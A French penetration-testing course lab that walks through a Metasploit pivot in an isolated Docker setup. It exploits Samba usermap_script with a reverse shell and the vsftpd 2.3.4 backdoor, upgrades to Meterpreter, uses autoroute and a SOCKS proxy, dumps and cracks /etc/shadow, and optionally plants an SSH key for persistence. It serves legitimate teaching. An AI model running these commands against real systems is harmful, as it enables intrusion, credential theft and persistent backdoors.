Metasploit — Atelier pratique

Vous reproduisez la démonstration, seul(e). Trois conteneurs, deux réseaux isolés, un pivot, une session sur une machine que l'attaquant ne voyait pas. C'est le TP2 de la formation — livrable pour la fin du module 8.

Compter : 2 h à 3 h.

Livrable : ~/labs/rapport/pivot.md + tous les artefacts dans ~/labs/preuves/ + un .rc reproductible.

Lab isolé

Ce lab tient dans un docker compose avec deux réseaux privés. Aucun paquet ne quitte votre machine. Le réseau interne est marqué internal: true, il n'a même pas de route par défaut vers l'internet.

---

Prérequis

Docker Desktop opérationnel, image inskillsec/kali-lab déjà construite (voir module 01).

Rien d'autre : le compose fait tout le travail. Deux Metasploitable 2 seront téléchargés, mais ils partagent leurs layers Docker — vous ne payez le téléchargement qu'une seule fois.

---

Étape 1 — Démarrer le lab et vérifier la segmentation (5 min)

cd labs/docker/module-08-metasploit
docker compose up -d

Compter 45 s à 1 min pour que les deux Metasploitable 2 finissent leur services.sh. Vérifier :

cd ..
./verifier-lab.sh module-08-metasploit     # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-08-metasploit    # PowerShell

Entrer dans l'attaquant :

cd module-08-metasploit
docker compose exec attaquant bash

Et impérativement, vérifier la topologie :

ping -c 2 10.20.30.20     # doit répondre (pivot visible)
ping -c 2 172.16.50.42    # doit ECHOUER (Network is unreachable)

Si 172.16.50.42 répond directement depuis l'attaquant, le lab est mal segmenté — le pivot n'a plus aucun intérêt pédagogique. Corrigez avant d'avancer :

docker compose down -v
docker compose up -d

Créer le dossier de preuves :

mkdir -p ~/labs/{preuves,rapport,rc}
cd ~/labs

Définition — pourquoi le réseau interne est marqué internal: true

Un réseau Docker classique est un bridge : les conteneurs qui y sont connectés peuvent, par défaut, sortir vers l'internet via la passerelle Docker (NAT). C'est pratique pour un serveur web qui doit joindre des API externes, mais catastrophique pour un lab de pivot : la cible cachée pourrait tout simplement contacter l'attaquant en reverse_tcp et le pivot n'aurait plus de raison d'exister.

Le flag internal: true dans la définition du réseau supprime cette route par défaut. Les conteneurs qui ne sont que sur ce réseau (comme la cible cachée) ne peuvent joindre que les autres membres du même réseau. Pas d'internet, pas de retour vers l'attaquant, pas de sortie du tout.

C'est le comportement d'un VLAN interne d'entreprise correctement configuré : le serveur de base de données est joignable depuis les frontaux applicatifs, il ne devrait jamais initier une connexion sortante. C'est aussi ce qui force le pentester à utiliser un payload bind_tcp (le pentester se connecte à la cible) plutôt qu'un reverse_tcp (la cible se connecte au pentester) — le premier réflexe de tout attaquant qui rencontre un vrai réseau segmenté.

---

Étape 2 — RCE initiale sur cible-pivot (20 min)

N'utilisez pas vsftpd : c'est le port du module 01, on ne retape pas dessus. Choisissez samba/usermap_script (rapide, silencieux, très pédagogique) ou distcc_exec (encore plus simple).

Créer rc/atelier-1-rce.rc :

workspace -a atelier-m08
workspace atelier-m08

use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run

Lancer :

msfconsole -q -r rc/atelier-1-rce.rc | tee preuves/01-rce-initiale.log

Objectif : Command shell session 1 opened. Vérifier :

sessions -i 1
id
uname -a
hostname

Vous devez lire uid=0(root) et hostname=poste-dev. La session est ouverte en root directement — le service Samba tourne en root, la RCE hérite du contexte.

Définition — pourquoi Samba usermap donne root sans effort supplémentaire

Samba 3.0.20 à 3.0.25rc3 souffre d'une faille (CVE-2007-2447) dans la fonction de mappage des noms d'utilisateurs. Quand un client se connecte avec un nom d'utilisateur qui contient un shell metacaractère (par exemple ; ou `), Samba passe ce nom à un shell externe pour le résoudre — sans échapper les métacaractères. Résultat : n'importe quel client SMB peut exécuter des commandes arbitraires sur le serveur.

L'exploit Metasploit usermap_script envoie un nom d'utilisateur du type /= suivi de la commande à exécuter. Samba récupère cette chaîne, la passe à /bin/sh -c pour la « résoudre », et exécute la commande à la place.

Deux détails importants. Samba tourne en root sur la quasi-totalité des systèmes — c'est nécessaire pour manipuler les permissions POSIX et présenter les partages comme un serveur Windows. Donc la commande injectée s'exécute en root, pas en tant que compte de service limité. Aucune authentification n'est requise : la vulnérabilité est dans le mappage du nom d'utilisateur, qui a lieu avant la vérification du mot de passe. Un utilisateur avec un mot de passe faux ou vide déclenche quand même l'exploit.

C'est pour cela que la faille est catastrophique et qu'elle a fait rentrer Metasploitable 2 dans la culture : deux lignes de commande, aucun mot de passe, root en trois secondes. C'est aussi pour cela qu'on ne la trouve plus jamais en production — la plus vieille des CVE réellement patchées.

---

Étape 3 — Upgrader la session en Meterpreter (5 min)

Une session cmd/unix est utile mais très limitée. Metasploit propose un moteur bien plus riche, Meterpreter, qui offre un shell interactif, du forwarding, du transfert de fichiers et surtout le tunneling dont on a besoin pour le pivot.

Dans msfconsole, mettre la session 1 en arrière-plan (background) puis :

sessions -u 1

Metasploit va uploader un binaire Meterpreter Linux sur la cible et créer une session 2 de type Meterpreter.

Vérifier :

sessions

Vous devez voir :

  Id  Name  Type                     Information       Connection
  --  ----  ----                     -----------       ----------
  1         shell cmd/unix           uid=0(root)       10.20.30.5:4444 -> 10.20.30.20
  2         meterpreter x86/linux    root @ poste-dev  10.20.30.5:xxxx -> 10.20.30.20

Sauvegarder :

sessions -i 2
sysinfo
getuid
ifconfig

Notez soigneusement l'interface interne : la cible pivot est aussi sur 172.16.50.20 — c'est ce chemin qui va servir au pivot.

Sortez dans background et enregistrez la trace :

spool preuves/02-upgrade.log
sessions
spool off

---

Étape 4 — Ouvrir la route (autoroute) (5 min)

C'est le geste central du module. Metasploit va router tout le trafic destiné à 172.16.50.0/24 à travers la session Meterpreter sur la cible pivot. Le pivot devient un tunnel, transparent pour l'attaquant.

use post/multi/manage/autoroute
set SESSION 2
set SUBNET 172.16.50.0
set NETMASK 255.255.255.0
run

route print

Sortie attendue de route print :

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.50.0        255.255.255.0      Session 2

Sauvegarder dans preuves/03-autoroute.log.

Définition — autoroute n'est PAS du routage kernel

Quand on entend « autoroute », on pense à ip route add. Ce n'est pas du tout ce que fait Metasploit. La commande autoroute ne touche jamais la table de routage du noyau Linux de la Kali. Elle inscrit une route dans la table interne de Metasploit uniquement — un dictionnaire Ruby qui dit « pour ce sous-réseau, envoie les paquets à travers cette session Meterpreter ».

Concrètement : quand un module Metasploit ultérieur essaie de contacter 172.16.50.42, le framework voit dans sa table interne que ce sous-réseau passe par la session 2. Il encapsule le trafic (TCP au niveau applicatif) dans la session Meterpreter, envoie tout à poste-dev, qui décapsule et fait la connexion réelle depuis son interface 172.16.50.20. La réponse fait le trajet inverse.

Deux conséquences importantes. Aucun outil externe à Metasploit n'utilise cette route — nmap en dehors de msfconsole ignore complètement autoroute. Il faudra un SOCKS proxy pour partager ce chemin avec les outils tiers (étape 8). Et la cible pivot n'a pas besoin d'IP forwarding activé au niveau kernel, contrairement à un vrai pivot système. La session Meterpreter joue le rôle du forwarder au niveau applicatif.

C'est aussi pour cela que si la session 2 meurt, tout le pivot s'effondre. Sauvegardez régulièrement, restaurez si besoin.

---

Étape 5 — Scanner le réseau interne (10 min)

Dans msfconsole, avec autoroute en place :

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306,3632,5900,8180
set THREADS 20
run

Vous retrouvez 172.16.50.42 avec ses ports ouverts. Confirmer la nature de la cible :

use auxiliary/scanner/smb/smb_version
set RHOSTS 172.16.50.42
run

Attendu : Host: SERVEUR-BDD Samba 3.X - 4.X. La cible cachée est un autre Metasploitable 2 — même profil, mêmes vulnérabilités.

Sauvegarder dans preuves/04-scan-interne.log.

---

Étape 6 — Exploiter la cible cachée (15 min)

Payload obligatoire : bind_tcp. La cible cachée est sur un réseau internal: true, elle ne peut pas initier de connexion vers l'attaquant. Un reverse_tcp échouerait pour cette raison exacte.

Pour ne pas retaper usermap_script (déjà utilisé à l'étape 2), prenons vsftpd 2.3.4 backdoor :

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run

Le module vsftpd_234_backdoor n'a pas besoin de payload additionnel — la backdoor est un shell root ouvert sur le port 6200 après l'authentification.

Vérifier :

sessions -i 3
id
uname -a
hostname

Vous devez lire uid=0(root) sur serveur-bdd. Vous avez la main sur une machine qui n'a jamais vu votre IP.

Sauvegarder dans preuves/05-exploitation-cachee.log.

Définition — bind_tcp vs reverse_tcp, l'écran de fumée du pare-feu

En Metasploit, reverse_tcp signifie « la cible se connecte à l'attaquant ». L'attaquant lance un handler qui écoute sur son propre port, le payload sur la cible sait où joindre l'attaquant, la connexion s'établit dans ce sens. C'est le comportement par défaut de la majorité des payloads Metasploit et c'est ce qui marche dans les environnements où la cible peut sortir librement — le pare-feu de la cible autorise en général les connexions sortantes.

bind_tcp fait l'inverse : le payload ouvre un port en écoute sur la cible, l'attaquant se connecte à ce port. Ça marche quand la cible est atteignable mais ne peut pas initier de trafic vers l'attaquant — cas exact d'un serveur interne derrière un firewall qui n'autorise que l'entrant.

Sur un lab bien monté, tester les deux enseigne beaucoup. Un reverse_tcp qui reste en Started reverse TCP handler sans jamais aboutir, c'est presque toujours un problème de pare-feu sur le chemin retour. Un bind_tcp qui échoue en connection refused, c'est le port qui est déjà utilisé ou le service qui n'a pas encore ouvert son socket.

En pratique professionnelle, on essaie reverse_tcp d'abord (plus discret, la cible se comporte comme un client, ce qui est habituel). On bascule sur bind_tcp uniquement quand on est sûr que le retour est bloqué. Sur un vrai environnement d'entreprise, bind_tcp réussit dans moins de la moitié des cas — les IDS remarquent souvent qu'un serveur ouvre soudainement un nouveau port en écoute.

---

Étape 7 — Extraction et cassage (15 min)

Sur la session Meterpreter (ou shell) de la cible cachée :

sessions -i 3
cat /etc/shadow

Copier le contenu dans un fichier local :

# Depuis msfconsole, side terminal :
sessions -i 3 -C "cat /etc/shadow" > /tmp/shadow.txt

Ou plus proprement, depuis un shell hôte du conteneur attaquant :

# Dans un nouveau terminal, docker compose exec attaquant bash
cat > /tmp/pull-shadow.rc <<'EOF'
sessions -C "cat /etc/shadow" -i 3
EOF
msfconsole -q -r /tmp/pull-shadow.rc | tail -n 20 > preuves/06-shadow-brut.txt

# Nettoyer pour ne garder que les hashs
grep -E '^\w+:\$' preuves/06-shadow-brut.txt > preuves/06-shadow.txt

Casser avec John :

john --wordlist=/usr/share/wordlists/rockyou.txt preuves/06-shadow.txt
john --show preuves/06-shadow.txt > preuves/06-passwords.txt

Objectif : au moins un mot de passe cassé. Sur Metasploitable 2, msfadmin:msfadmin tombe en trois secondes, et user:user tout autant.

Définition — /etc/shadow et pourquoi le hashcat sur des hashes MD5 crypt est instantané

/etc/shadow est le fichier Linux qui stocke les hashes des mots de passe utilisateur. Il est lisible uniquement par root — d'où l'importance d'avoir un shell root pour l'extraire. Chaque ligne suit le format utilisateur:hash:... où le champ hash commence par $1$ pour MD5 crypt, $5$ pour SHA-256 crypt, $6$ pour SHA-512 crypt, $y$ pour Yescrypt (les Linux modernes).

Sur Metasploitable 2, les hashes utilisent $1$ (MD5 crypt, 2001). Sur un GPU modeste de 2020, hashcat teste des milliards de candidats par seconde contre MD5 crypt — un dictionnaire comme rockyou.txt (14 millions de lignes) se termine en moins d'une minute. Les mots de passe faibles tombent tous.

Sur un système récent avec $y$ (Yescrypt), la même attaque prend des heures pour la même liste. La force du hash importe autant que la force du mot de passe. C'est aussi pour ça que l'audit d'un /etc/shadow récent est plus lent — et c'est une bonne nouvelle : les mots de passe faibles y tombent aussi, juste plus tard.

Deux choses restent constantes. Un dictionnaire correctement adapté au contexte (mots de la langue locale + noms de l'entreprise + année en suffixe) casse plus de comptes qu'un rockyou brut. Et la présence d'un salt (le champ après $1$) rend chaque hash unique — impossible de mutualiser un précalcul, chaque compte demande son propre travail.

---

Étape 8 — SOCKS proxy pour les outils externes (15 min)

L'autoroute Metasploit ne partage rien avec le monde extérieur. Pour que netexec, nmap ou curl puissent aussi passer par le pivot, on ouvre un SOCKS proxy dans msfconsole :

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Configurer /etc/proxychains4.conf sur l'attaquant :

sudo sed -i 's|^socks.*1080|socks5  127.0.0.1 1080|' /etc/proxychains4.conf
grep '^socks' /etc/proxychains4.conf

Tester :

proxychains nxc smb 172.16.50.42 -u msfadmin -p msfadmin > preuves/07-nxc-proxychains.log 2>&1
cat preuves/07-nxc-proxychains.log

Objectif : la ligne finale [+] WORKGROUP\msfadmin:msfadmin (Pwn3d!) — vous avez authentifié un outil externe (netexec) sur la cible cachée en passant par le pivot Metasploit, sans même avoir de route kernel vers 172.16.50.0/24.

Autres exemples utiles :

proxychains nmap -sT -Pn -p 21,22,80,445 172.16.50.42 -oN preuves/07-nmap-through-pivot.txt
proxychains curl -s http://172.16.50.42/ | head -n 30

Définition — SOCKS proxy vs HTTP proxy vs port forwarding

Trois mécanismes différents servent souvent le même besoin — passer du trafic à travers un intermédiaire — mais ne se comportent pas pareil.

Un HTTP proxy ne connaît que HTTP et HTTPS (via CONNECT). Il inspecte les en-têtes de la requête, sait interpréter les URL, peut faire du filtrage applicatif. Burp est un HTTP proxy. Ça ne marche pas pour SSH, SMB ou n'importe quel autre protocole non-HTTP.

Un port forwarding (par exemple ssh -L 8080:172.16.50.42:80) crée un tunnel très spécifique : une paire de ports (source → destination) et rien d'autre. Il faut connaître la cible et le port à l'avance, et un port forwarding par service.

Un SOCKS proxy (v5) est agnostique du protocole. Le client, avant d'établir sa connexion, envoie une méta-requête au proxy en disant « je veux joindre l'IP X sur le port Y ». Le proxy établit la connexion pour lui et relaie tout octet dans les deux sens. Ça marche pour n'importe quel protocole TCP — SSH, SMB, HTTP, RPC. C'est ce dont on a besoin quand on ne sait pas encore quels ports on va vouloir toucher sur la cible.

Metasploit expose exactement cela avec auxiliary/server/socks_proxy. Combiné avec proxychains côté attaquant, on peut faire passer n'importe quelle commande CLI à travers le pivot. C'est le pattern universel du pentest interne : Meterpreter pour le premier pied, SOCKS pour tout le reste.

---

Étape 9 — Le script .rc complet (10 min)

Consolider dans rc/atelier-complet.rc. Les étapes qui exigent une interaction (upgrade de session, choix de session interactive) restent manuelles ; on scripte ce qui l'est.

workspace -a atelier-m08
workspace atelier-m08

# --- Phase 1 : RCE initiale ---
use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run

rc/atelier-pivot.rc :

workspace atelier-m08
route add 172.16.50.0/24 <ID-METERPRETER>
route print

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306
set THREADS 20
run

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Remplacer <ID-METERPRETER> par l'identifiant réel après upgrade. Lancer :

msfconsole -q -r rc/atelier-complet.rc
# ... upgrade manuel via sessions -u 1 ...
# ... noter l'id de la session Meterpreter ...
# éditer rc/atelier-pivot.rc pour renseigner l'id, puis :
msfconsole -q -r rc/atelier-pivot.rc

---

Étape 10 — Le rapport (30 min)

~/labs/rapport/pivot.md — deux pages, structure fixe :

# Pentest interne avec pivot — Module 08 (date)

## 1. Résumé exécutif (5 lignes max)
Deux hôtes compromis dans un segment interne isolé. La cible cachée
(serveur-bdd, 172.16.50.42), joignable uniquement depuis le poste dev
compromis, a livré son /etc/shadow. Deux comptes locaux cassés en moins
d'une minute. Impact : accès administratif complet à la base de données
depuis un point de départ non authentifié sur le réseau externe.

## 2. Cadre technique
- Réseau externe : 10.20.30.0/24, attaquant 10.20.30.5, cible pivot .20
- Réseau interne : 172.16.50.0/24, cible cachée .42
- Outils : Metasploit 6.x, hashcat/john, netexec, proxychains4.
- Segmentation vérifiée avant lancement (ping échoue de l'attaquant
  vers la cible cachée).

## 3. Chaîne d'exploitation
1. RCE initiale sur cible-pivot via Samba usermap (CVE-2007-2447),
   session root immédiate.
2. Upgrade cmd shell → Meterpreter x86/linux.
3. Autoroute Metasploit pour 172.16.50.0/24 via la session Meterpreter.
4. Scan interne portscan/tcp, découverte de 172.16.50.42.
5. Confirmation Metasploitable 2 sur cible cachée (smb_version).
6. Exploitation vsftpd 2.3.4 backdoor avec payload bind (obligatoire :
   réseau interne isolé, pas de reverse possible).
7. Extraction /etc/shadow, cassage john -> msfadmin, user.
8. Ouverture SOCKS5 proxy, validation via netexec proxychains.

## 4. Preuves (~/labs/preuves/)
- 01-rce-initiale.log
- 02-upgrade.log
- 03-autoroute.log
- 04-scan-interne.log
- 05-exploitation-cachee.log
- 06-shadow.txt, 06-passwords.txt
- 07-nxc-proxychains.log, 07-nmap-through-pivot.txt

## 5. Impact
Compromission complète des deux machines. Le compte root sur la cible
interne, inaccessible depuis Internet, a été obtenu sans aucun mot de
passe connu au départ. La chaîne prend 15 minutes une fois maîtrisée.

## 6. Recommandations
1. Patch immédiat de Samba (CVE-2007-2447) et vsftpd (backdoor 2.3.4).
2. Segmentation renforcée : le poste dev ne devrait pas avoir de patte
   sur le réseau interne des serveurs.
3. Isoler /etc/shadow — auditer les uid=0 qui n'en ont pas besoin.
4. Renforcer la politique de mots de passe (empêcher msfadmin/msfadmin
   et équivalents faibles).
5. Détection : surveiller les activations de SOCKS listeners internes
   et les patterns d'autoroute Metasploit dans les EDR.

## 7. Annexes
- rc/atelier-complet.rc
- rc/atelier-pivot.rc

---

Grille d'auto-évaluation

• Trois conteneurs actifs, deux réseaux, ping direct vers 172.16.50.42 échoue depuis l'attaquant.
• Session initiale sur 10.20.30.20 via autre chose que vsftpd.
• Meterpreter Linux obtenue via sessions -u.
• Autoroute ajoutée pour 172.16.50.0/24.
• Scan interne effectué depuis msfconsole, cible détectée.
• Session obtenue sur 172.16.50.42 avec un payload bind (pas reverse).
• /etc/shadow récupéré et cassé partiellement (au moins un mot de passe).
• SOCKS proxy ouvert, netexec testé à travers proxychains.
• .rc scripts sauvegardés.
• Rapport de 2 pages structuré selon le modèle.

---

Ce qui bloque en général

Symptôme	Cause	Correction
Session 1 meurt tout de suite	cible-pivot pas encore prête	Attendre 30 s, vérifier docker compose logs cible-pivot.
sessions -u échoue	Payload initial non compatible	Reprendre avec cmd/unix/reverse_bash, plus fiable pour l'upgrade.
route add : Route already exists	Route conservée d'un run précédent	route flush.
Scan interne ne trouve rien	Session Meterpreter morte	sessions, vérifier que la Linux est encore vivante. Relancer si besoin.
bind_tcp refusé	Port bind déjà occupé	Changer LPORT, ex. 4455 au lieu de 4444.
Autoroute + nxc : no route to host	SOCKS proxy pas ouvert dans msfconsole	Ouvrir avec run -j sur auxiliary/server/socks_proxy.
John ne casse rien	Rockyou pas la bonne source	Essayer aussi john --incremental en fin d'atelier — casse user et service en quelques secondes.
docker compose down -v ne libère pas 4444	Handler Metasploit encore vivant	Sortir proprement de msfconsole avant down.

---

Extension optionnelle — Persistance

Attention : en mission client, la persistance est très encadrée par le RoE. En lab, on la fait pour comprendre le mécanisme, puis on la retire.

Sur la session Meterpreter Linux (session 2) :

run post/linux/manage/sshkey_persistence -u root

Metasploit dépose votre clé publique dans /root/.ssh/authorized_keys sur la cible pivot. Après un redémarrage complet du conteneur, vous pouvez y retourner par SSH direct.

Pour vérifier :

docker compose exec attaquant bash
ssh root@10.20.30.20  # doit accepter votre clé sans mot de passe

Pour nettoyer, dans une session sur la cible :

sed -i '/pentester@kali/d' /root/.ssh/authorized_keys

En pentest réel : cette manipulation crée un backdoor — elle doit être documentée dans le rapport et supprimée avant la fin de la mission. Un pentester qui oublie une clé SSH sur une machine cliente est un pentester qu'on n'engage plus.

---

Ce que vous emportez de cet atelier

• La compréhension physique d'un pivot : ce que l'attaquant voit vs ce que la cible compromise voit.
• Un workflow bout-en-bout reproductible, du premier scan jusqu'à l'extraction de creds.
• Un ensemble de .rc qui rejoue la chaîne.
• La maîtrise du couple bind_tcp / reverse_tcp — le premier réflexe à avoir face à un vrai réseau segmenté.
• La compréhension du pattern Meterpreter + SOCKS proxy + proxychains qui est le standard du pentest interne moderne.
• Un rapport de pentest interne en format 2 pages, transposable en presentation client.

Prochaine étape : le quiz du module. Puis on entre dans le module 9 — élévation de privilèges — où l'on prend l'habitude de passer d'un compte utilisateur à root sur toutes les plateformes qui traînent.